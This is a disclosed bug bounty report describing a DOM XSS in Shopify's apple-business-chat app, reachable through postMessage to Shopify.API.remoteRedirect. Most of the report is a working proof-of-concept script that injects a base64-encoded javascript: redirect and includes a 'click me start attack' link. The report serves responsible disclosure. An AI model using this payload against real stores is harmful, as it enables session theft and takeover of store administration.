██████ DOM XSS via Shopify.API.remoteRedirect
- Triaged in 15 hours
- Fixed in 10 days
- Paid in 15 hours
- Disclosed after 2 months
Hi, team. I found a dom xss on the apple-business-chat app that seems to be referring to a vulnerable js file. For users who have installed this app, just let him use the theme code I provided to complete xss. Modify the theme code to the following payload
<script>
function attack(){
let ctx=window.open('https://apple-business-chat-commerce.shopifycloud.com'),interval;
let payload=btoa(`window.opener.postMessage('success',location.origin);alert(document.domain)`);
interval=setInterval(()=>{
ctx && ctx.postMessage({
"message":"Shopify.API.remoteRedirect",
"data":{
"location":`javascript:eval(atob('${payload}'))`
}
},location.origin);
},500);
window.onmessage=(e)=>{
e.data==="success"&&(
console.log('attack success'),
window.onmessage=null,
clearInterval(interval)
);
};
}
attack();
</script>
<a href="javascript:attack()" style="display:block;text-align:center;width:100%;height:300px;line-height:300px;background:#000;color:#fff;">click me start attack</a>
As shown below

Then click on the store front page to trigger

█████
Impact
Steal session information, add administrators, etc.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A low-severity XSS bug in your-store.myshopify.com. HackerOne made it public on 15 September 2019.
About XSS
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.